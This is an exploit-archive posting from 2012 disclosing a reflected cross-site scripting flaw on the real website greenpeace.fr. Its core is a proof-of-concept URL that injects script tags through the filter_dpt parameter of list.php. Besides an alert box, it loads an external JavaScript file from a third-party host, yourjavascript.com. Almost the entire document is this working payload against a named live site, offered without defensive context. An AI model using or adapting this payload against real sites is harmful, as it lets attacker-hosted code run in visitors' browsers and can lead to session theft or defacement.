Home / exploits

PDF

Greenpeace.fr Cross Site Scripting

Posted on 20 March 2012

+-------------------------------------------------------------------------+
# Exploit Title : Greenpeace.fr - Website XSS (Cross Site Scripting)
# Author : Atmon3r
# Date : 18/03/2012
# Editor : www.greenpeace.fr
# Perso : http://front1.monsterup.com/upload/1332195303375.jpg
# Xss type : $_GET
+-------------------------------------------------------------------------+

[+] POC:

http://www.greenpeace.fr/incinerateurs/list.php?list_name=Pays-de-la-Loire&filter_dpt=/"><script>alert(1)</script><script
src=http://yourjavascript.com/27544112151/xss.atmon3r.js></script>

 

TOP